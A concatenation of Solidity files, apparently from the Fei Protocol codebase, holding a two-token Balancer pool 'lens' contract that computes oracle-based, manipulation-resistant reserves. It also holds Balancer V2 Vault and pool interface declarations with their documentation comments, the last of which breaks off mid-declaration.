// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.10;
import "./IVault.sol";
import "./IWeightedPool.sol";
import "../../external/gyro/ExtendedMath.sol";
import "../IPCVDepositBalances.sol";
import "../../oracle/IOracle.sol";
import "../../Constants.sol";
/// @title BalancerPool2Lens
/// @author Fei Protocol
/// @notice a contract to read tokens & fei out of a contract that reports balance in Balancer LP tokens.
/// Limited to BPTs that have 2 underlying tokens.
/// @notice this contract use code similar to BPTLens (that reads a whole pool).
contract BalancerPool2Lens is IPCVDepositBalances {
using ExtendedMath for uint256;
/// @notice FEI token address
address private constant FEI = 0x956F47F50A910163D8BF957Cf5846D573E7f87CA;
/// @notice the deposit inspected
address public immutable depositAddress;
/// @notice the token the lens reports balances in
address public immutable override balanceReportedIn;
/// @notice the balancer pool to look at
IWeightedPool public immutable pool;
/// @notice the Balancer V2 Vault
IVault public immutable balancerVault;
// the pool id on balancer
bytes32 internal immutable id;
// the index of balanceReportedIn on the pool
uint256 internal immutable index;
/// @notice true if FEI is in the pair
bool public immutable feiInPair;
/// @notice true if FEI is the reported balance
bool public immutable feiIsReportedIn;
/// @notice the oracle for balanceReportedIn token
IOracle public immutable reportedOracle;
/// @notice the oracle for the other token in the pair (not balanceReportedIn)
IOracle public immutable otherOracle;
constructor(
address _depositAddress,
address _token,
IWeightedPool _pool,
IOracle _reportedOracle,
IOracle _otherOracle,
bool _feiIsReportedIn,
bool _feiIsOther
) {
depositAddress = _depositAddress;
pool = _pool;
IVault _vault = _pool.getVault();
balancerVault = _vault;
bytes32 _id = _pool.getPoolId();
id = _id;
(IERC20[] memory tokens, , ) = _vault.getPoolTokens(_id);
// Check the token is in the BPT and its only a 2 token pool
require(address(tokens[0]) == _token || address(tokens[1]) == _token);
require(tokens.length == 2);
balanceReportedIn = _token;
index = address(tokens[0]) == _token ? 0 : 1;
feiIsReportedIn = _feiIsReportedIn;
feiInPair = _feiIsReportedIn || _feiIsOther;
reportedOracle = _reportedOracle;
otherOracle = _otherOracle;
}
function balance() public view override returns (uint256) {
(, uint256[] memory balances, ) = balancerVault.getPoolTokens(id);
uint256 bptsOwned = IPCVDepositBalances(depositAddress).balance();
uint256 totalSupply = pool.totalSupply();
return (balances[index] * bptsOwned) / totalSupply;
}
function resistantBalanceAndFei()
public
view
override
returns (uint256, uint256)
{
uint256[] memory prices = new uint256[](2);
uint256 j = index == 0 ? 1 : 0;
// Check oracles and fill in prices
(Decimal.D256 memory reportedPrice, bool reportedValid) = reportedOracle
.read();
prices[index] = reportedPrice.value;
(Decimal.D256 memory otherPrice, bool otherValid) = otherOracle.read();
prices[j] = otherPrice.value;
require(reportedValid && otherValid, "BPTLens: Invalid Oracle");
(, uint256[] memory balances, ) = balancerVault.getPoolTokens(id);
uint256 bptsOwned = IPCVDepositBalances(depositAddress).balance();
uint256 totalSupply = pool.totalSupply();
uint256[] memory weights = pool.getNormalizedWeights();
// uses balances, weights, and prices to calculate manipulation resistant reserves
uint256 reserves = _getIdealReserves(balances, prices, weights, index);
// if the deposit owns x% of the pool, only keep x% of the reserves
reserves = (reserves * bptsOwned) / totalSupply;
if (feiIsReportedIn) {
return (reserves, reserves);
}
if (feiInPair) {
uint256 otherReserves = _getIdealReserves(
balances,
prices,
weights,
j
);
return (reserves, otherReserves);
}
return (reserves, 0);
}
/*
let r represent reserves and r' be ideal reserves (derived from manipulation resistant variables)
p are resistant oracle prices of the tokens
w are the balancer weights
k is the balancer invariant
BPTPrice = (p0/w0)^w0 * (p1/w1)^w1 * k
r0' = BPTPrice * w0/p0
r0' = ((w0*p1)/(p0*w1))^w1 * k
Now including k allows for further simplification
k = r0^w0 * r1^w1
r0' = r0^w0 * r1^w1 * ((w0*p1)/(p0*w1))^w1
r0' = r0^w0 * ((w0*p1*r1)/(p0*w1))^w1
*/
function _getIdealReserves(
uint256[] memory balances,
uint256[] memory prices,
uint256[] memory weights,
uint256 i
) internal pure returns (uint256 reserves) {
uint256 j = i == 0 ? 1 : 0;
uint256 one = Constants.ETH_GRANULARITY;
uint256 reservesScaled = one.mulPow(
balances[i],
weights[i],
Constants.ETH_DECIMALS
);
uint256 multiplier = (weights[i] * prices[j] * balances[j]) /
(prices[i] * weights[j]);
reserves = reservesScaled.mulPow(
multiplier,
weights[j],
Constants.ETH_DECIMALS
);
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
pragma solidity ^0.8.0;
interface IAsset {}
// interface with required methods from Balancer V2 IVault
// https://github.com/balancer-labs/balancer-v2-monorepo/blob/389b52f1fc9e468de854810ce9dc3251d2d5b212/pkg/vault/contracts/interfaces/IVault.sol
/**
* @dev Full external interface for the Vault core contract - no external or public methods exist in the contract that
* don't override one of these declarations.
*/
interface IVault {
// Generalities about the Vault:
//
// - Whenever documentation refers to 'tokens', it strictly refers to ERC20-compliant token contracts. Tokens are
// transferred out of the Vault by calling the `IERC20.transfer` function, and transferred in by calling
// `IERC20.transferFrom`. In these cases, the sender must have previously allowed the Vault to use their tokens by
// calling `IERC20.approve`. The only deviation from the ERC20 standard that is supported is functions not returning
// a boolean value: in these scenarios, a non-reverting call is assumed to be successful.
//
// - All non-view functions in the Vault are non-reentrant: calling them while another one is mid-execution (e.g.
// while execution control is transferred to a token contract during a swap) will result in a revert. View
// functions can be called in a re-reentrant way, but doing so might cause them to return inconsistent results.
// Contracts calling view functions in the Vault must make sure the Vault has not already been entered.
//
// - View functions revert if referring to either unregistered Pools, or unregistered tokens for registered Pools.
// Authorizer
//
// Some system actions are permissioned, like setting and collecting protocol fees. This permissioning system exists
// outside of the Vault in the Authorizer contract: the Vault simply calls the Authorizer to check if the caller
// can perform a given action.
// Relayers
//
// Additionally, it is possible for an account to perform certain actions on behalf of another one, using their
// Vault ERC20 allowance and Internal Balance. These accounts are said to be 'relayers' for these Vault functions,
// and are expected to be smart contracts with sound authentication mechanisms. For an account to be able to wield
// this power, two things must occur:
// - The Authorizer must grant the account the permission to be a relayer for the relevant Vault function. This
// means that Balancer governance must approve each individual contract to act as a relayer for the intended
// functions.
// - Each user must approve the relayer to act on their behalf.
// This double protection means users cannot be tricked into approving malicious relayers (because they will not
// have been allowed by the Authorizer via governance), nor can malicious relayers approved by a compromised
// Authorizer or governance drain user funds, since they would also need to be approved by each individual user.
/**
* @dev Returns true if `user` has approved `relayer` to act as a relayer for them.
*/
function hasApprovedRelayer(address user, address relayer)
external
view
returns (bool);
/**
* @dev Allows `relayer` to act as a relayer for `sender` if `approved` is true, and disallows it otherwise.
*
* Emits a `RelayerApprovalChanged` event.
*/
function setRelayerApproval(
address sender,
address relayer,
bool approved
) external;
/**
* @dev Emitted every time a relayer is approved or disapproved by `setRelayerApproval`.
*/
event RelayerApprovalChanged(
address indexed relayer,
address indexed sender,
bool approved
);
// Internal Balance
//
// Users can deposit tokens into the Vault, where they are allocated to their Internal Balance, and later
// transferred or withdrawn. It can also be used as a source of tokens when joining Pools, as a destination
// when exiting them, and as either when performing swaps. This usage of Internal Balance results in greatly reduced
// gas costs when compared to relying on plain ERC20 transfers, leading to large savings for frequent users.
//
// Internal Balance management features batching, which means a single contract call can be used to perform multiple
// operations of different kinds, with different senders and recipients, at once.
/**
* @dev Returns `user`'s Internal Balance for a set of tokens.
*/
function getInternalBalance(address user, IERC20[] memory tokens)
external
view
returns (uint256[] memory);
/**
* @dev Performs a set of user balance operations, which involve Internal Balance (deposit, withdraw or transfer)
* and plain ERC20 transfers using the Vault's allowance. This last feature is particularly useful for relayers, as
* it lets integrators reuse a user's Vault allowance.
*
* For each operation, if the caller is not `sender`, it must be an authorized relayer for them.
*/
function manageUserBalance(UserBalanceOp[] memory ops) external payable;
/**
* @dev Data for `manageUserBalance` operations, which include the possibility for ETH to be sent and received
without manual WETH wrapping or unwrapping.
*/
struct UserBalanceOp {
UserBalanceOpKind kind;
IAsset asset;
uint256 amount;
address sender;
address payable recipient;
}
// There are four possible operations in `manageUserBalance`:
//
// - DEPOSIT_INTERNAL
// Increases the Internal Balance of the `recipient` account by transferring tokens from the corresponding
// `sender`. The sender must have allowed the Vault to use their tokens via `IERC20.approve()`.
//
// ETH can be used by passing the ETH sentinel value as the asset and forwarding ETH in the call: it will be wrapped
// and deposited as WETH. Any ETH amount remaining will be sent back to the caller (not the sender, which is
// relevant for relayers).
//
// Emits an `InternalBalanceChanged` event.
//
//
// - WITHDRAW_INTERNAL
// Decreases the Internal Balance of the `sender` account by transferring tokens to the `recipient`.
//
// ETH can be used by passing the ETH sentinel value as the asset. This will deduct WETH instead, unwrap it and send
// it to the recipient as ETH.
//
// Emits an `InternalBalanceChanged` event.
//
//
// - TRANSFER_INTERNAL
// Transfers tokens from the Internal Balance of the `sender` account to the Internal Balance of `recipient`.
//
// Reverts if the ETH sentinel value is passed.
//
// Emits an `InternalBalanceChanged` event.
//
//
// - TRANSFER_EXTERNAL
// Transfers tokens from `sender` to `recipient`, using the Vault's ERC20 allowance. This is typically used by
// relayers, as it lets them reuse a user's Vault allowance.
//
// Reverts if the ETH sentinel value is passed.
//
// Emits an `ExternalBalanceTransfer` event.
enum UserBalanceOpKind {
DEPOSIT_INTERNAL,
WITHDRAW_INTERNAL,
TRANSFER_INTERNAL,
TRANSFER_EXTERNAL
}
/**
* @dev Emitted when a user's Internal Balance changes, either from calls to `manageUserBalance`, or through
* interacting with Pools using Internal Balance.
*
* Because Internal Balance works exclusively with ERC20 tokens, ETH deposits and withdrawals will use the WETH
* address.
*/
event InternalBalanceChanged(
address indexed user,
IERC20 indexed token,
int256 delta
);
/**
* @dev Emitted when a user's Vault ERC20 allowance is used by the Vault to transfer tokens to an external account.
*/
event ExternalBalanceTransfer(
IERC20 indexed token,
address indexed sender,
address recipient,
uint256 amount
);
// Pools
//
// There are three specialization settings for Pools, which allow for cheaper swaps at the cost of reduced
// functionality:
//
// - General: no specialization, suited for all Pools. IGeneralPool is used for swap request callbacks, passing the
// balance of all tokens in the Pool. These Pools have the largest swap costs (because of the extra storage reads),
// which increase with the number of registered tokens.
//
// - Minimal Swap Info: IMinimalSwapInfoPool is used instead of IGeneralPool, which saves gas by only passing the
// balance of the two tokens involved in the swap. This is suitable for some pricing algorithms, like the weighted
// constant product one popularized by Balancer V1. Swap costs are smaller compared to general Pools, and are
// independent of the number of registered tokens.
//
// - Two Token: only allows two tokens to be registered. This achieves the lowest possible swap gas cost. Like
// minimal swap info Pools, these are called via IMinimalSwapInfoPool.
enum PoolSpecialization {
GENERAL,
MINIMAL_SWAP_INFO,
TWO_TOKEN
}
/**
* @dev Registers the caller account as a Pool with a given specialization setting. Returns the Pool's ID, which
* is used in all Pool-related functions. Pools cannot be deregistered, nor can the Pool's specialization be
* changed.
*
* The caller is expected to be a smart contract that implements either `IGeneralPool` or `IMinimalSwapInfoPool`,
* depending on the chosen specialization setting. This contract is known as the Pool's contract.
*
* Note that the same contract may register itself as multiple Pools with unique Pool IDs, or in other words,
* multiple Pools may share the same contract.
*
* Emits a `PoolRegistered` event.
*/
function registerPool(PoolSpecialization specialization)
external
returns (bytes32);
/**
* @dev Emitted when a Pool is registered by calling `registerPool`.
*/
event PoolRegistered(
bytes32 indexed poolId,
address indexed poolAddress,
PoolSpecialization specialization
);
/**
* @dev Returns a Pool's contract address and specialization setting.
*/
function getPool(bytes32 poolId)
external
view
returns (address, PoolSpecialization);
/**
* @dev Registers `tokens` for the `poolId` Pool. Must be called by the Pool's contract.
*
* Pools can only interact with tokens they have registered. Users join a Pool by transferring registered tokens,
* exit by receiving registered tokens, and can only swap registered tokens.
*
* Each token can only be registered once. For Pools with the Two Token specialization, `tokens` must have a length
* of two, that is, both tokens must be registered in the same `registerTokens` call, and they must be sorted in
* ascending order.
*
* The `tokens` and `assetManagers` arrays must have the same length, and each entry in these indicates the Asset
* Manager for the corresponding token. Asset Managers can manage a Pool's tokens via `managePoolBalance`,
* depositing and withdrawing them directly, and can even set their balance to arbitrary amounts. They are therefore
* expected to be highly secured smart contracts with sound design principles, and the decision to register an
* Asset Manager should not be made lightly.
*
* Pools can choose not to assign an Asset Manager to a given token by passing in the zero address. Once an Asset
* Manager is set, it cannot be changed except by deregistering the associated token and registering again with a
* different Asset Manager.
*
* Emits a `TokensRegistered` event.
*/
function registerTokens(
bytes32 poolId,
IERC20[] memory tokens,
address[] memory assetManagers
) external;
/**
* @dev Emitted when a Pool registers tokens by calling `registerTokens`.
*/
event TokensRegistered(
bytes32 indexed poolId,
IERC20[] tokens,
address[] assetManagers
);
/**
* @dev Deregisters `tokens` for the `poolId` Pool. Must be called by the Pool's contract.
*
* Only registered tokens (via `registerTokens`) can be deregistered. Additionally, they must have zero total
* balance. For Pools with the Two Token specialization, `tokens` must have a length of two, that is, both tokens
* must be deregistered in the same `deregisterTokens` call.
*
* A deregistered token can be re-registered later on, possibly with a different Asset Manager.
*
* Emits a `TokensDeregistered` event.
*/
function deregisterTokens(bytes32 poolId, IERC20[] memory tokens) external;
/**
* @dev Emitted when a Pool deregisters tokens by calling `deregisterTokens`.
*/
event TokensDeregistered(bytes32 indexed poolId, IERC20[] tokens);
/**
* @dev Returns detailed information for a Pool's registered token.
*
* `cash` is the number of tokens the Vault currently holds for the Pool. `managed` is the number of tokens
* withdrawn and held outside the Vault by the Pool's token Asset Manager. The Pool's total balance for `token`
* equals the sum of `cash` and `managed`.
*
* Internally, `cash` and `managed` are stored using 112 bits. No action can ever cause a Pool's token `cash`,
* `managed` or `total` balance to be greater than 2^112 - 1.
*
* `lastChangeBlock` is the number of the block in which `token`'s total balance was last modified (via either a
* join, exit, swap, or Asset Manager update). This value is useful to avoid so-called 'sandwich attacks', for
* example when developing price oracles. A change of zero (e.g. caused by a swap with amount zero) is considered a
* change for this purpose, and will update `lastChangeBlock`.
*
* `assetManager` is the Pool's token Asset Manager.
*/
function getPoolTokenInfo(bytes32 poolId, IERC20 token)
external
view
returns (
uint256 cash,
uint256 managed,
uint256 lastChangeBlock,
address assetManager
);
/**
* @dev Returns a Pool's registered tokens, the total balance for each, and the latest block when *any* of
* the tokens' `balances` changed.
*
* The order of the `tokens` array is the same order that will be used in `joinPool`, `exitPool`, as well as in all
* Pool hooks (where applicable). Calls to `registerTokens` and `deregisterTokens` may change this order.
*
* If a Pool only registers tokens once, and these are sorted in ascending order, they will be stored in the same
* order as passed to `registerTokens`.
*
* Total balances include both tokens held by the Vault and those withdrawn by the Pool's Asset Managers. These are
* the amounts used by joins, exits and swaps. For a detailed breakdown of token balances, use `getPoolTokenInfo`
* instead.
*/
function getPoolTokens(bytes32 poolId)
external
view
returns (
IERC20[] memory tokens,
uint256[] memory balances,
uint256 lastChangeBlock
);
/**
* @dev Called by users to join a Pool, which transfers tokens from `sender` into the Pool's balance. This will
* trigger custom Pool behavior, which will typically grant something in return to `recipient` - often tokenized
* Pool shares.
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* The `assets` and `maxAmountsIn` arrays must have the same length, and each entry indicates the maximum amount
* to send for each asset. The amounts to send are decided by the Pool and not the Vault: it just enforces
* these maximums.
*
* If joining a Pool that holds WETH, it is possible to send ETH directly: the Vault will do the wrapping. To enable
* this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead of the
* WETH address. Note that it is not possible to combine ETH and WETH in the same join. Any excess ETH will be sent
* back to the caller (not the sender, which is important for relayers).
*
* `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when
* interacting with Pools that register and deregister tokens frequently. If sending ETH however, the array must be
* sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the final
* `assets` array might not be sorted. Pools with no registered tokens cannot be joined.
*
* If `fromInternalBalance` is true, the caller's Internal Balance will be preferred: ERC20 transfers will only
* be made for the difference between the requested amount and Internal Balance (if any). Note that ETH cannot be
* withdrawn from Internal Balance: attempting to do so will trigger a revert.
*
* This causes the Vault to call the `IBasePool.onJoinPool` hook on the Pool's contract, where Pools implement
* their own custom logic. This typically requires additional information from the user (such as the expected number
* of Pool shares). This can be encoded in the `userData` argument, which is ignored by the Vault and passed
* directly to the Pool's contract, as is `recipient`.
*
* Emits a `PoolBalanceChanged` event.
*/
function joinPool(
bytes32 poolId,
address sender,
address recipient,
JoinPoolRequest memory request
) external payable;
struct JoinPoolRequest {
IAsset[] assets;
uint256[] maxAmountsIn;
bytes userData;
bool fromInternalBalance;
}
/**
* @dev Called by users to exit a Pool, which transfers tokens from the Pool's balance to `recipient`. This will
* trigger custom Pool behavior, which will typically ask for something in return from `sender` - often tokenized
* Pool shares. The amount of tokens that can be withdrawn is limited by the Pool's `cash` balance (see
* `getPoolTokenInfo`).
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* The `tokens` and `minAmountsOut` arrays must have the same length, and each entry in these indicates the minimum
* token amount to receive for each token contract. The amounts to send are decided by the Pool and not the Vault:
* it just enforces these minimums.
*
* If exiting a Pool that holds WETH, it is possible to receive ETH directly: the Vault will do the unwrapping. To
* enable this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead
* of the WETH address. Note that it is not possible to combine ETH and WETH in the same exit.
*
* `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when
* interacting with Pools that register and deregister tokens frequently. If receiving ETH however, the array must
* be sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the
* final `assets` array might not be sorted. Pools with no registered tokens cannot be exited.
*
* If `toInternalBalance` is true, the tokens will be deposited to `recipient`'s Internal Balance. Otherwise,
* an ERC20 transfer will be performed. Note that ETH cannot be deposited to Internal Balance: attempting to
* do so will trigger a revert.
*
* `minAmountsOut` is the minimum amount of tokens the user expects to get out of the Pool, for each token in the
* `tokens` array. This array must match the Pool's registered tokens.
*
* This causes the Vault to call the `IBasePool.onExitPool` hook on the Pool's contract, where Pools implement
* their own custom logic. This typically requires additional information from the user (such as the expected number
* of Pool shares to return). This can be encoded in the `userData` argument, which is ignored by the Vault and
* passed directly to the Pool's contract.
*
* Emits a `PoolBalanceChanged` event.
*/
function exitPool(
bytes32 poolId,
address sender,
address payable recipient,
ExitPoolRequest memory request
) external;
struct ExitPoolRequest {
IAsset[] assets;
uint256[] minAmountsOut;
bytes userData;
bool toInternalBalance;
}
/**
* @dev Emitted when a user joins or exits a Pool by calling `joinPool` or `exitPool`, respectively.
*/
event PoolBalanceChanged(
bytes32 indexed poolId,
address indexed liquidityProvider,
IERC20[] tokens,
int256[] deltas,
uint256[] protocolFeeAmounts
);
enum PoolBalanceChangeKind {
JOIN,
EXIT
}
// Swaps
//
// Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. To do this,
// they need not trust Pool contracts in any way: all security checks are made by the Vault. They must however be
// aware of the Pools' pricing algorithms in order to estimate the prices Pools will quote.
//
// The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence.
// In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'),
// and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out').
// More complex swaps, such as one token in to multiple tokens out can be achieved by batching together
// individual swaps.
//
// There are two swap kinds:
// - 'given in' swaps, where the amount of tokens in (sent to the Pool) is known, and the Pool determines (via the
// `onSwap` hook) the amount of tokens out (to send to the recipient).
// - 'given out' swaps, where the amount of tokens out (received from the Pool) is known, and the Pool determines
// (via the `onSwap` hook) the amount of tokens in (to receive from the sender).
//
// Additionally, it is possible to chain swaps using a placeholder input amount, which the Vault replaces with
// the calculated output of the previous swap. If the previous swap was 'given in', this will be the calculated
// tokenOut amount. If the previous swap was 'given out', it will use the calculated tokenIn amount. These extended
// swaps are known as 'multihop' swaps, since they 'hop' through a number of intermediate tokens before arriving at
// the final intended token.
//
// In all cases, tokens are only transferred in and out of the Vault (or withdrawn from and deposited into Internal
// Balance) after all individual swaps have been completed, and the net token balance change computed. This makes
// certain swap patterns, such as multihops, or swaps that interact with the same token pair in multiple Pools, cost
// much less gas than they would otherwise.
//
// It also means that under certain conditions it is possible to perform arbitrage by swapping with multiple
// Pools in a way that results in net token movement out of the Vault (profit), with no tokens being sent in (only
// updating the Pool's internal accounting).
//
// To protect users from front-running or the market changing rapidly, they supply a list of 'limits' for each token
// involved in the swap, where either the maximum number of tokens to send (by passing a positive value) or the
// minimum amount of tokens to receive (by passing a negative value) is specified.
//
// Additionally, a 'deadline' timestamp can also be provided, forcing the swap to fail if it occurs after
// this point in time (e.g. if the transaction failed to be included in a block promptly).
//
// If interacting with Pools that hold WETH, it is possible to both send and receive ETH directly: the Vault will do
// the wrapping and unwrapping. To enable this mechanism, the IAsset sentinel value (the zero address) must be
// passed in the `assets` array instead of the WETH address. Note that it is possible to combine ETH and WETH in the
// same swap. Any excess ETH will be sent back to the caller (not the sender, which is relevant for relayers).
//
// Finally, Internal Balance can be used when either sending or receiving tokens.
enum SwapKind {
GIVEN_IN,
GIVEN_OUT
}
/**
* @dev Performs a swap with a single Pool.
*
* If the swap is 'given in' (the number of tokens to send to the Pool is known), it returns the amount of tokens
* taken from the Pool, which must be greater than or equal to `limit`.
*
* If the swap is 'given out' (the number of tokens to take from the Pool is known), it returns the amount of tokens
* sent to the Pool, which must be less than or equal to `limit`.
*
* Internal Balance usage and the recipient are determined by the `funds` struct.
*
* Emits a `Swap` event.
*/
function swap(
SingleSwap memory singleSwap,
FundManagement memory funds,
uint256 limit,
uint256 deadline
) external payable returns (uint256);
/**
* @dev Data for a single swap executed by `swap`. `amount` is either `amountIn` or `amountOut` depending on
* the `kind` value.
*
* `assetIn` and `assetOut` are either token addresses, or the IAsset sentinel value for ETH (the zero address).
* Note that Pools never interact with ETH directly: it will be wrapped to or unwrapped from WETH by the Vault.
*
* The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be
* used to extend swap behavior.
*/
struct SingleSwap {
bytes32 poolId;
SwapKind kind;
IAsset assetIn;
IAsset assetOut;
uint256 amount;
bytes userData;
}
/**
* @dev Performs a series of swaps with one or multiple Pools. In each individual swap, the caller determines either
* the amount of tokens sent to or received from the Pool, depending on the `kind` value.
*
* Returns an array with the net Vault asset balance deltas. Positive amounts represent tokens (or ETH) sent to the
* Vault, and negative amounts represent tokens (or ETH) sent by the Vault. Each delta corresponds to the asset at
* the same index in the `assets` array.
*
* Swaps are executed sequentially, in the order specified by the `swaps` array. Each array element describes a
* Pool, the token to be sent to this Pool, the token to receive from it, and an amount that is either `amountIn` or
* `amountOut` depending on the swap kind.
*
* Multihop swaps can be executed by passing an `amount` value of zero for a swap. This will cause the amount in/out
* of the previous swap to be used as the amount in for the current one. In a 'given in' swap, 'tokenIn' must equal
* the previous swap's `tokenOut`. For a 'given out' swap, `tokenOut` must equal the previous swap's `tokenIn`.
*
* The `assets` array contains the addresses of all assets involved in the swaps. These are either token addresses,
* or the IAsset sentinel value for ETH (the zero address). Each entry in the `swaps` array specifies tokens in and
* out by referencing an index in `assets`. Note that Pools never interact with ETH directly: it will be wrapped to
* or unwrapped from WETH by the Vault.
*
* Internal Balance usage, sender, and recipient are determined by the `funds` struct. The `limits` array specifies
* the minimum or maximum amount of each token the vault is allowed to transfer.
*
* `batchSwap` can be used to make a single swap, like `swap` does, but doing so requires more gas than the
* equivalent `swap` call.
*
* Emits `Swap` events.
*/
function batchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds,
int256[] memory limits,
uint256 deadline
) external payable returns (int256[] memory);
/**
* @dev Data for each individual swap executed by `batchSwap`. The asset in and out fields are indexes into the
* `assets` array passed to that function, and ETH assets are converted to WETH.
*
* If `amount` is zero, the multihop mechanism is used to determine the actual amount based on the amount in/out
* from the previous swap, depending on the swap kind.
*
* The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be
* used to extend swap behavior.
*/
struct BatchSwapStep {
bytes32 poolId;
uint256 assetInIndex;
uint256 assetOutIndex;
uint256 amount;
bytes userData;
}
/**
* @dev Emitted for each individual swap performed by `swap` or `batchSwap`.
*/
event Swap(
bytes32 indexed poolId,
IERC20 indexed tokenIn,
IERC20 indexed tokenOut,
uint256 amountIn,
uint256 amountOut
);
/**
* @dev All tokens in a swap are either sent from the `sender` account to the Vault, or from the Vault to the
* `recipient` account.
*
* If the caller is not `sender`, it must be an authorized relayer for them.
*
* If `fromInternalBalance` is true, the `sender`'s Internal Balance will be preferred, performing an ERC20
* transfer for the difference between the requested amount and the User's Internal Balance (if any). The `sender`
* must have allowed the Vault to use their tokens via `IERC20.approve()`. This matches the behavior of
* `joinPool`.
*
* If `toInternalBalance` is true, tokens will be deposited to `recipient`'s internal balance instead of
* transferred. This matches the behavior of `exitPool`.
*
* Note that ETH cannot be deposited to or withdrawn from Internal Balance: attempting to do so will trigger a
* revert.
*/
struct FundManagement {
address sender;
bool fromInternalBalance;
address payable recipient;
bool toInternalBalance;
}
/**
* @dev Simulates a call to `batchSwap`, returning an array of Vault asset deltas. Calls to `swap` cannot be
* simulated directly, but an equivalent `batchSwap` call can and will yield the exact same result.
*
* Each element in the array corresponds to the asset at the same index, and indicates the number of tokens (or ETH)
* the Vault would take from the sender (if positive) or send to the recipient (if negative). The arguments it
* receives are the same that an equivalent `batchSwap` call would receive.
*
* Unlike `batchSwap`, this function performs no checks on the sender or recipient field in the `funds` struct.
* This makes it suitable to be called by off-chain applications via eth_call without needing to hold tokens,
* approve them for the Vault, or even know a user's address.
*
* Note that this function is not 'view' (due to implementation details): the client code must explicitly execute
* eth_call instead of eth_sendTransaction.
*/
function queryBatchSwap(
SwapKind kind,
BatchSwapStep[] memory swaps,
IAsset[] memory assets,
FundManagement memory funds
) external returns (int256[] memory assetDeltas);
// Asset Management
//
// Each token registered for a Pool can be assigned an Asset Manager, which is able to freely withdraw the Pool's
// tokens from the Vault, deposit them, or assign arbitrary values to its `managed` balance (see
// `getPoolTokenInfo`). This makes them extremely powerful and dangerous. Even if an Asset Manager only directly
// controls one of the tokens in a Pool, a malicious manager could set that token's balance to manipulate the
// prices of the other tokens, and then drain the Pool with swaps. The risk of using Asset Managers is therefore
// not constrained to the tokens they are managing, but extends to the entire Pool's holdings.
//
// However, a properly designed Asset Manager smart contract can be safely used for the Pool's benefit,
// for example by lending unused tokens out for interest, or using them to participate in voting protocols.
//
// This concept is unrelated to the IAsset interface.
/**
* @dev Performs a set of Pool balance operations, which may be either withdrawals, deposits or updates.
*
* Pool Balance management features batching, which means a single contract call can be used to perform multiple
* operations of different kinds, with different Pools and tokens, at once.
*
* For each operation, the caller must be registered as the Asset Manager for `token` in `poolId`.
*/
function managePoolBalance(PoolBalanceOp[] memory ops) external;
struct PoolBalanceOp {
PoolBalanceOpKind kind;
bytes32 poolId;
IERC20 token;
uint256 amount;
}
/**
* Withdrawals decrease the Pool's cash, but increase its managed balance, leaving the total balance unchanged.
*
* Deposits increase the Pool's cash, but decrease its managed balance, leaving the total balance unchanged.
*
* Updates don't affect the Pool's cash balance, but because the managed balance changes, it does alter the total.
* The external amount can be either increased or decreased by this call (i.e., reporting a gain or a loss).
*/
enum PoolBalanceOpKind {
WITHDRAW,
DEPOSIT,
UPDATE
}
/**
* @dev Emitted when a Pool's token Asset Manager alters its balance via `managePoolBalance`.
*/
event PoolBalanceManaged(
bytes32 indexed poolId,
address indexed assetManager,
IERC20 indexed token,
int256 cashDelta,
int256 managedDelta
);
/**
* @dev Safety mechanism to pause most Vault operations in the event of an emergency - typically detection of an
* error in some part of the system.
*
* The Vault can only be paused during an initial time period, after which pausing is forever disabled.
*
* While the contract is paused, the following features are disabled:
* - depositing and transferring internal balance
* - transferring external balance (using the Vault's allowance)
* - swaps
* - joining Pools
* - Asset Manager interactions
*
* Internal Balance can still be withdrawn, and Pools exited.
*/
function setPaused(bool paused) external;
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "./IBasePool.sol";
// interface with required methods from Balancer V2 WeightedPool
// https://github.com/balancer-labs/balancer-v2-monorepo/blob/389b52f1fc9e468de854810ce9dc3251d2d5b212/pkg/pool-weighted/contracts/WeightedPool.sol
interface IWeightedPool is IBasePool {
function getSwapEnabled() external view returns (bool);
function getNormalizedWeights() external view returns (uint256[] memory);
function getGradualWeightUpdateParams()
external
view
returns (
uint256 startTime,
uint256 endTime,
uint256[] memory endWeights
);
function setSwapEnabled(bool swapEnabled) external;
function updateWeightsGradually(
uint256 startTime,
uint256 endTime,
uint256[] memory endWeights
) external;
function withdrawCollectedManagementFees(address recipient) external;
enum JoinKind {
INIT,
EXACT_TOKENS_IN_FOR_BPT_OUT,
TOKEN_IN_FOR_EXACT_BPT_OUT
}
enum ExitKind {
EXACT_BPT_IN_FOR_ONE_TOKEN_OUT,
EXACT_BPT_IN_FOR_TOKENS_OUT,
BPT_IN_FOR_EXACT_TOKENS_OUT
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.8.0;
import "./IAssetManager.sol";
import "./IVault.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
// interface with required methods from Balancer V2 IBasePool
// https://github.com/balancer-labs/balancer-v2-monorepo/blob/389b52f1fc9e468de854810ce9dc3251d2d5b212/pkg/pool-utils/contracts/BasePool.sol
interface IBasePool is IERC20 {
function getSwapFeePercentage() external view returns (uint256);
function setSwapFeePercentage(uint256 swapFeePercentage) external;
function setAssetManagerPoolConfig(
